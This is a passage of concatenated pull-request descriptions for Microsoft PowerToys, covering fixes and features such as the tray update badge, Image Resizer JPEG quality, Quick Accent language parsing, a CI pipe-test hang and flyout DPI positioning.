- `src/modules/CropAndLock/CropAndLockModuleInterface/dllmain.cpp`
- `src/modules/AdvancedPaste/AdvancedPasteModuleInterface/dllmain.cpp`
- `src/modules/Hosts/HostsModuleInterface/dllmain.cpp`
- `src/modules/registrypreview/RegistryPreviewExt/dllmain.cpp`
-
`src/modules/EnvironmentVariables/EnvironmentVariablesModuleInterface/dllmain.cpp`
- `src/modules/Workspaces/WorkspacesModuleInterface/dllmain.cpp`
- `src/modules/powerdisplay/PowerDisplayModuleInterface/dllmain.cpp`
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This brings some quality of life fixes:
- Alt won't stick when pressing Ctrl+Alt+Del or Alt+Tab into an admin
process.
- Add Win as an option for the move/resize modifier.
- The box window geometry box is opaque now.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Tested that Ctrl+Alt+Del doesn't stick the Alt key.
- Tested that the Win key works as expected as a modifier.
- Compared the last commit for performance with the previous one (the
opaque geometry info box is drawn with an increased number of calls).
When an update is available (readyToDownload or readyToInstall), the
tray icon switches to a badged variant with an orange dot. Works for
both default mode (color icon.ico) and theme-adaptive mode (light/dark
variants).
Closes: #19222Closes: #25497
## Changes
### Tray icon update badge
- Add 3 badged icon variants
- Extend get_icon() to select badged variant based on update_available
state
- Add set_tray_icon_update_available() for runtime icon switching
- Hook into UpdateUtils.cpp state transitions via
dispatch_run_on_main_ui_thread
- Check UpdateState at startup to show badge immediately if update
pending
- Add 'Update available' context menu item at top of tray menu when
active
### Fix: update icons not deployed (bug fix)
- Add APPICON_UPDATE icon resource to runner.base.rc (iconUpdate.ico was
missing)
- Add CopyFileToFolders entries for iconUpdate.ico,
PowerToysDarkUpdate.ico, and PowerToysWhiteUpdate.ico in runner.vcxproj
- Add all update icon files to installer Core.wxs so they ship in
releases
### UX improvements
- 'Update available' tray menu item now navigates to General page
(Overview) instead of opening Settings to Dashboard
- Update InfoBar severity changed from Success/Informational to Warning
across GeneralPage, LaunchPage, and CheckUpdateControl
- Dashboard update badge gradient and icon refreshed (orange theme,
exclamation glyph)
- AccentButtonStyle applied to 'Install Now' button
- Fixed casing: 'Update Available' to 'Update available'
- Added UpdateAvailableInfoBar.Title resource string
- Add orange update dot to the General navview item
### Screenshots
Before:
<img width="146" height="78" alt="image"
src="https://github.com/user-attachments/assets/c80b8b5f-da94-4cba-92c9-3fcca685653c"
/>
After:
<img width="184" height="104" alt="image"
src="https://github.com/user-attachments/assets/13fc6b34-6e2a-4060-a2f7-f0b6b0d15363"
/>
<img width="150" height="84" alt="image"
src="https://github.com/user-attachments/assets/2673239c-8ce3-437b-947a-1d66803a87ec"
/>
<img width="150" height="100" alt="image"
src="https://github.com/user-attachments/assets/c321deda-770d-47ff-9600-c395f466d444"
/>
<img width="189" height="104" alt="image"
src="https://github.com/user-attachments/assets/2c56d1b7-6615-4d85-80b9-a1cee6413b75"
/>
<img width="473" height="218" alt="image"
src="https://github.com/user-attachments/assets/b0fb59ed-f8bd-40a0-aefd-816a71fc231f"
/>
<img width="1048" height="288" alt="image"
src="https://github.com/user-attachments/assets/29d34e01-f6a9-46c3-a56e-2c50a07718a1"
/>
<img width="206" height="155" alt="image"
src="https://github.com/user-attachments/assets/80e9f77e-aae5-429a-b6be-f0e9f296e929"
/>
<img width="434" height="163" alt="image"
src="https://github.com/user-attachments/assets/7c9d6cd5-fdaa-4b70-a2c0-cff87f5fcf1c"
/>
<img width="379" height="270" alt="image"
src="https://github.com/user-attachments/assets/03e0f60d-a901-45e7-a03a-18be28ec87ed"
/>
## How to test
Since local dev builds use version `0.0.1` which blocks update checks,
you need to temporarily fake an older version:
1. In `src/Version.props`, change `<Version>0.0.1</Version>` to
`<Version>0.87.0</Version>`
2. Optionally, in `src/runner/UpdateUtils.cpp`, change both interval
constants to `1` (minute) for faster testing:
```cpp
constexpr int64_t UPDATE_CHECK_INTERVAL_MINUTES = 1;
constexpr int64_t UPDATE_CHECK_AFTER_FAILED_INTERVAL_MINUTES = 1;
```
3. Build and run the runner
4. Within ~1 minute (with the interval change) or after clicking 'Check
for updates' in Settings > General, the runner will query GitHub and
find a newer version
### Verify
- [ ] Tray icon changes to the update variant (badged with orange dot)
- [ ] Right-clicking the tray icon shows 'Update available' at the top
of the context menu
- [ ] Clicking 'Update available' opens Settings directly to the General
page
- [ ] Settings General page shows the update InfoBar with Warning
severity
- [ ] Dashboard shows the update badge with orange gradient and
exclamation icon
- [ ] Quick Access flyout shows update InfoBar with Warning severity
**Remember to revert Version.props and UpdateUtils.cpp before
committing!**
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Restores honoring of the user-configured JPEG quality — via the Settings
UI slider, the CLI `--quality` flag, or the persisted
`imageresizer_jpegQualityLevel` — when resizing JPEG files. Since the
WinUI3 migration (#45288) any Q value from 1 to 100 produced
byte-identical output at WIC's internal default (~Q90) because the
transcode encoder silently ignored the setting. Only
`src/modules/imageresizer/ui/Models/ResizeOperation.cs` is changed.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47135
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Built `ImageResizerCLI.csproj` in `Release|x64` with
`/p:RuntimeIdentifier=win-x64`; no new warnings. Ran the resulting
`x64\Release\WinUI3Apps\PowerToys.ImageResizerCLI.exe` against a
synthetic test JPEG (`a.jpg` 2373×905, ~240 KB) and both in-tree EXIF
assets:
- `src/modules/imageresizer/tests/TestMetadataIssue1928.jpg` (42 EXIF
properties)
- `src/modules/imageresizer/tests/TestMetadataIssue2447.jpg` (44 EXIF
properties)
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This PR:
- Fixed a UI regression on the ZoomIt page
- Updates the CmdPal settings page to make sure it has the latest links
and imagery
- Updates the New+ assets so they fit inline with all other screenshots
and assets
- Adds missing screenshots to the `docs` folder
Closes: #44521
## Summary
Adds the out-of-box experience (OOBE) for the new **Grab And Move**
module and refreshes related assets across the repo.
## Changes
### Grab And Move OOBE
- New `OobeGrabAndMove.xaml` / `.xaml.cs` page following the standard
PowerToys OOBE pattern (hero image, How to use, Tips & tricks, Settings
button, Learn more link)
- Wired into `OobeWindow.xaml(.cs)` as a new `NavigationViewItem` so it
appears in the OOBE wizard
- Added localized resource strings (Title, Description, How to use, Tips
and tricks) in `Resources.resw`
- New OOBE animation: `Assets/Settings/Modules/OOBE/GrabAndMove.gif`
### Settings UI polish
- Moved the Grab And Move nav item under *Windowing & Layouts* into its
proper alphabetical position (after FancyZones, before Workspaces)
- Added a "NEW" `InfoBadge` to both the Grab And Move item and its
parent *Windowing & Layouts* group so users can discover the new utility
### Asset refresh
- High-res `GrabAndMove.ico` (replaces the placeholder)
- Updated Settings module icons
(`Assets/Settings/Icons/GrabAndMove.png`,
`Assets/Settings/Modules/GrabAndMove.png`)
- New overview/marketing PNGs under `doc/images/overview/` (large,
small, and original)
### README
- Added **Grab And Move** and **PowerDisplay** to the utilities table in
`README.md`, reflowed alphabetically into a clean 10x3 grid
- New `doc/images/icons/GrabAndMove.png` and
`doc/images/icons/PowerDisplay.png` for the table
## Validation
- Settings UI builds cleanly
- Grab And Move appears in the OOBE wizard navigation and renders
correctly
- "NEW" badges visible on first launch
- README table renders with all 30 utilities, no empty trailing cells
<img width="1307" height="807" alt="image"
src="https://github.com/user-attachments/assets/f8d2ef96-a9f3-4307-9714-c308e216c044"
/>
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
When first enabled in the Settings application, Quick Accent defaults to
**All available** character sets, but the persisted "ALL" option in the
settings.json file is not understood by the application itself. This
leads to the fallback SPECIAL character set being selected - unbeknownst
to the user - which only contains a small subset of the available
mappings.
This PR also adds two new characters to the Hungarian language, as
requested under #47085.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47113
- [x] Closes: #47085
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The cause of the issue is:
1. The default `SelectedLang` value for a new Quick Accent settings file
is "ALL", set in `PowerAccentProperties.cs`:
5520ae4cfa/src/settings-ui/Settings.UI.Library/PowerAccentProperties.cs (L46)
2. The Settings application understands the "ALL" setting, _but Quick
Accent itself does not_.
3. There is an existing fallback in Quick Accent for when the language
cannot be parsed, which is to select the "SPECIAL" language instead.
This is a grab-bag of mappings for non-language-specific entries such as
cross-cultural punctuation, IPA, currency etc.
The effect is that new users will see that All available character sets
have been selected in the Settings application by default, but that only
a small number of the available mappings will be shown when they trigger
Quick Accent. De-selecting and re-selecting All available will fix the
issue, but a new user is unlikely to do this. This leads to issues being
logged such as #47085, where missing characters are reported, but they
actually are present in the underlying mappings for the language(s).
There is also another issue with `SelectedLang` parsing, in that entries
are compared against the in-built language codes in a case-sensitive
non-trimmed manner. This means that entries such as "FR", "fr" and " FR"
are all distinct. Although this isn't an issue at the moment, it means
that adding new languages or editing the settings file manually is prone
to triggering fall-throughs and the selection of the SPECIAL language
without the user knowing.
The fix here is to:
1. Pre-parse the SelectedLang entries to trim them and remove any empty
values.
2. Do an explicit (case-insensitive) check for "ALL"; if present, all
languages are immediately selected.
3. If "ALL" is not present in the list, do a case-insensitive check for
each entry against the in-built language codes.
4. Reject any non-matches and log a warning. Do not fall through to
auto-select the SPECIAL character set. This respects the principle of
least surprise, and means that the user is never given character options
that they did not explicitly select.
Changes to the Quick Accent application are in `ReadSettings()` in
SettingsService.cs. I have also made the Settings application parsing
more robust, so both it and Quick Accent should be able to correctly
parse entries like "SP, INVALID, EST".
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Follow the manual steps below:
1. Close the Quick Accent process if it is currently running
6. Edit the settings.json file for Quick Accent, and set the
"selected_lang" value to "all" (this setting is no longer
case-sensitive).
7. (Re)start Quick Accent by starting `PowerToys.PowerAccent.exe`.
8. Trigger Quick Accent for the E key and observe the selection dialog
that opens. It should contain E mappings for every language:
<img width="3371" height="155" alt="image"
src="https://github.com/user-attachments/assets/84d709ea-fdcc-4430-8d22-f9732969a20a"
/>
9. Trigger Quick Accent for the Y key and observe the selection dialog
that opens. It should contain Y mappings for every language, including
the Y-With-Diaresis character originally reported as missing:
<img width="1264" height="149" alt="image"
src="https://github.com/user-attachments/assets/ecea3734-e58c-4da6-896b-2e58a9fd05e8"
/>
10. Back in the settings file, change "selected_lang" value to "HR" for
Croatian. Save the file.
11. Trigger Quick Accent for the C key and observe that only the
following mappings are shown:
<img width="1055" height="146" alt="image"
src="https://github.com/user-attachments/assets/69764145-0836-4dfb-8655-3a8a3be7f561"
/>
12. Again, in settings, change the "selected_lang" value to "". Save the
file.
13. Confirm that triggering Quick Accent does not result in an error and
simply does not show the dialog.
14. In settings again, change the "selected_lang" value to "FR, INVALID,
DE" and save.
15. Trigger Quick Accent and confirm that entries for French and German
are available in the dialog.
16. Check the logs and confirm that a warning is present about "INVALID"
not being a valid language and being skipped.
Separately, for the Settings application:
1. Close the PowerToys Runner and ensure Quick Accent and Settings are
not present in the Processes list.
2. Edit the settings.json file for Quick Accent, changing the
"selected_lang" value to "FR, INVALID, DE" and save.
3. Run PowerToys and open the Settings application.
4. On the Quick Accent settings page, ensure that French and German
languages are selected. (Previously, parsing would fail after FR.)
## Summary
Fixes an infinite hang in Common.Interop.UnitTests.TestSend that caused
the x64 CI job to time out at 80 minutes on retried runs (originally
observed on #47106, but the race is latent in any run that shares a CI
agent with a previous run).
## Root cause
The test used two machine-global named pipes (\\.\pipe\serverside and
\\.\pipe\clientside) as fixed constants, and waited for the pipe
callback with an **unbounded** eset.WaitOne().
If a prior test run on the same CI agent left a pipe handle alive (e.g.
after a job cancellation or a flaky cleanup), the next run's
TwoWayPipeMessageIPCManaged handshake would silently never complete, and
`WaitOne()` would block until the pipeline's job-level timeout (~80
minutes) killed the agent.
## Fix
Two small, orthogonal changes in `InteropTests.cs`:
1. **Unique pipe names per run** — suffix the pipe paths with
`Environment.ProcessId` + a fresh `Guid`, so runs on the same agent can
never collide.
2. **Bounded wait** — `reset.WaitOne(TimeSpan.FromSeconds(30))` wrapped
in `Assert.IsTrue` with a diagnostic message identifying the pipes. A
broken handshake now fails the test in 30 s with a clear error, instead
of hanging the CI job.
The inner `Assert.AreEqual(testString, msg)` — the actual correctness
check — is unchanged. On the happy path the callback fires in
milliseconds and the test behaves identically to before.
## Verification
Built and ran locally with VS2026 MSBuild (x64 Release): `TestSend`
passes in ~139 ms.
## Follow-up (not in this PR)
`TwoWayPipeMessageIPC.cpp` still relies on a `Thread.Sleep(100)` race
workaround (comment in the test) for server-ready timing. A proper
handshake there would let us drop the sleep; out of scope here.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Introduces a shared FlyoutWindowHelper in Common.UI.Controls and
migrates both **PowerDisplay** and **QuickAccess** to it, eliminating
two pre-existing flyout positioning bugs and removing duplicated math.
## Bugs fixed
### 1. PowerDisplay flyout overlapped the taskbar at 100% scaling
The previous PowerDisplay-only positioning math anchored to the screen
bounds rather than `DisplayArea.WorkArea` on certain monitor
configurations, so the bottom edge of the flyout could land on top of
the taskbar.
### 2. QuickAccess flyout rendered too large / partially off-screen
after switching DPI between 150% and 100%
The previous code passed `WindowEx.Width`/`Height` into `MoveAndResize`
on every summon. Those properties are **not** the XAML literals — they
are computed live as `AppWindow.Size / GetDpiForWindow() * 96`. After a
system-scaling switch, the runtime size has drifted, that wrong "DIP"
value got fed into `MoveAndResize`, and the destination DPI multiplier
scaled it again → wrong size, and the wrong size shifted the
bottom-right anchor off-screen.
QuickAccess now caches the XAML design size once at construction (when
the values are still trustworthy) and uses the cache as the source of
truth.
## How the helper works
- Uses **absolute screen coordinates** against `DisplayArea.WorkArea`,
so it handles non-primary and negatively-positioned monitors correctly.
- Performs a **1×1 `MoveAndResize` "teleport"** onto the target display
before the final visible-size call. The 1×1 jump may cross a DPI
boundary, but it's invisible; the second call sets the real size while
the window is already on the destination monitor, so no DPI boundary is
crossed for the rendered size and `WM_DPICHANGED` never fires on a
visible window.
- Exposes overloads for bottom-right anchoring (both flyouts) and
centered placement (PowerDisplay's `IdentifyWindow`).
This teleport-then-size approach matches the technique the original
Settings.UI flyout used for years before it was removed.
## Cleanup
- Deletes the PowerDisplay-only `DpiSuppressor` — its
WM_DPICHANGED-suppression code path is now dead because the helper
sidesteps the message entirely.
- The `DpiSuppressor` class also doubled as a generic WndProc subclass
to route `WM_HOTKEY` into `HotkeyService`. That piece is preserved as
`WindowMessageHook` in `Common.UI.Controls/Window/` since PowerDisplay
still needs in-process hotkey handling.
## Validation
- `Common.UI.Controls`, `PowerDisplay`, and `QuickAccess` build clean
(x64/Debug).
- Manual repro:
- PowerDisplay flyout no longer overlaps taskbar at 100% scaling, on
multiple invocations.
- QuickAccess renders at the correct size and position when switching
system scaling between 150% and 100%.
- PowerDisplay hotkey toggle still works after the `DpiSuppressor` →
`WindowMessageHook` rename.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Add en-dash to the existing dash characters available under the minus
key for the Special Characters set.
This PR re-creates #45965 by @daverayment because that PR's pipeline
appears to have been corrupted. All credit for the change belongs to
@daverayment — the commit on this branch preserves their original
authorship.
## PR Checklist
- [x] Closes: #44030
- [x] Closes: #36805
## Detailed Description of the Pull Request / Additional comments
This PR adds the en-dash '–' character to the VK_MINUS key under the
Special Characters character set, positioned before the em-dash
character.
Although the character is available under VK_COMMA, it should be present
under VK_MINUS, along with the other dash characters.
Previously, en-dash was available for VK_MINUS under the Hebrew
language, so users who selected **All available** character sets (or who
specifically selected Hebrew as a workaround) had access to en-dash via
the minus key. However, this was seen as a duplication of the VK_COMMA
functionality and the character was removed for the Hebrew character set
in #43504. Although this is technically correct, this has understandably
caused confusion for users who relied on the prior behaviour.
The comment on the VK_COMMA for the Special Characters declaration
previously read:
`csharp
// – is in VK_MINUS for other languages, but not VK_COMMA, so we add it
here.
`
That ""for other languages"" is telling. The Hebrew en-dash entry was
removed, and the en-dash mapping for the minus key is not present for
any other language, orphaning the functionality.
## Validation Steps Performed
Original author @daverayment built and ran the updated Quick Accent code
and confirmed that the character was available when only the Special
character set was selected, and that it was absent when that set was
deselected. Confirmed that the character was available under both comma
and minus keys.
Co-authored-by: Dave Rayment <dave.rayment@gmail.com>
This pull request makes a configuration change to the
`Microsoft.CmdPal.UI.csproj` project file to improve telemetry support
for AOT (Ahead-Of-Time) builds.
Project configuration:
* Added the `EventSourceSupport` property and set it to `true` to ensure
telemetry events are triggered correctly when building with AOT.
## Summary of the Pull Request
This PR introduces the following changes:
- Shaving off a few pixels of the default height in `Top` or `Bottom`
mode.
- A new `Compact` mode that automatically hides the `Subtitle` and is
28px in height.
- Compact mode is only available for Top/Bottom dock positions.
Left/Right always use the Default size.
- The Dock Size settings card is hidden in the settings UI when Left or
Right is selected.
- At runtime, Left/Right positions force `DockSize.Default` regardless
of the persisted setting, ensuring default item styles and appbar sizing
are always used. The user's Compact preference is preserved so switching
back to Top/Bottom restores it.
Stable vs. Compact mode:
<img width="392" height="131" alt="image"
src="https://github.com/user-attachments/assets/f0ac3126-a773-46c6-87da-001fd66c5899"
/>
<img width="929" height="272" alt="image"
src="https://github.com/user-attachments/assets/684c2ea7-449d-4ed2-989d-5066c7f28200"
/>
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
### Compact mode restricted to Top/Bottom
Compact mode is only supported when the dock is positioned at the Top or
Bottom of the screen. When Left or Right is selected:
- The **Dock Size** settings card is hidden in the dock settings UI.
- The runtime forces \\DockSize.Default\\ so the default band template,
default item styles, and default appbar dimensions are always used.
- The persisted \\DockSize\\ value is **not** cleared — switching back
to Top/Bottom restores the user's previous Compact choice.
### Files changed
- \\DockSettingsPage.xaml\\ / \\.xaml.cs\\ — Conditional visibility for
the Dock Size settings card
- \\DockControl.xaml.cs\\ — Effective size override in
\\UpdateSettings()\\
- \\DockWindow.xaml.cs\\ — \\EffectiveDockSize()\\ helper used for
appbar sizing and change detection
## Validation Steps Performed
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
## Summary of the Pull Request
This PR improves File Search:
- Improves simple free-text Windows Search queries with implicit
filename broadening while preserving structured AQS input.
- Adds resilient fallback behavior for noisy or punctuation-heavy
searches by retrying with literal filename matching (fixes failed
searches with `&` or other symbols).
- Surfaces Windows Search availability and indexing-status notices in
the indexer page and fallback item -- if the Windows Search service is
down or unreachable, we show this to the user.
- Extends production time logging.
- Adds documentation of query transformation for maintainers.
- Adds some unit tests to pretend that we care.
## Pictures? Pictures!
Error notices:
<img width="890" height="148" alt="image"
src="https://github.com/user-attachments/assets/2370af01-04de-48a5-aa8e-06b95b54571e"
/>
<img width="880" height="369" alt="image"
src="https://github.com/user-attachments/assets/b2afa52b-02f8-4031-a61a-fa1031f86542"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46574
- [X] Closes: #44689
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR fixes opening of the list item context menu through right-click,
which affected mainly 3rd party out-of-process extensions.
- Keeps the first context-menu request alive when a top-level item is
selected but its out-of-proc MoreCommands are still hydrating.
- Short-circuits CanOpenContextMenu when a valid synthetic primary
command is already available, so items with a usable primary action can
open immediately without waiting for late menu hydration.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46625
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Fixes a Watson crash where \AppExtension.Package\ throws a COM/HRESULT
exception when the underlying package is in a bad state (being updated,
partially installed, recently uninstalled, or corrupted). Previously,
one bad extension killed the entire extension-loading loop, preventing
**all** extensions from loading.
This adds try-catch guards in \ExtensionService\ at two levels so a
single failing extension is logged and skipped rather than aborting the
enumeration.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** This is a defensive resilience fix with no behavior
change for the happy path; existing tests still pass
- [ ] **Localization:** N/A — no end-user-facing strings changed (log
messages are developer-facing)
- [ ] **Dev docs:** N/A — no new APIs or features
- [ ] **New binaries:** N/A — no new binaries
## Detailed Description of the Pull Request / Additional comments
**File changed:**
\src/modules/cmdpal/Microsoft.CmdPal.UI.ViewModels/Models/ExtensionService.cs\
Two try-catch blocks added:
1. **\GetInstalledExtensionsAsync\** — wraps the per-extension loop body
(lines 200–211) so that if \CreateWrappersForExtension\ or any property
access on \AppExtension\ throws, the loop continues to the next
extension.
2. **\CreateWrappersForExtension\** — wraps the per-classId wrapper
creation (lines 252–264) so that if the \ExtensionWrapper\ constructor
throws (e.g. \ppExtension.Package\ is unavailable), remaining class IDs
in the same extension still get processed.
Both catch blocks log via \Logger.LogError\ with the extension display
name and error message.
The \InstallPackageUnderLock\ code path also calls
\CreateWrappersForExtension\ and inherits the inner protection
automatically.
## Validation Steps Performed
- Built \Microsoft.CmdPal.UI.ViewModels\ with \ ools/build/build.cmd\ —
exit code 0, no warnings or errors
- Verified no existing tests are broken by the change
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
- **Volume initialization**: Read VCP 0x62 on monitor discovery so
`CurrentVolume` reflects actual hardware state instead of staying at the
50% default.
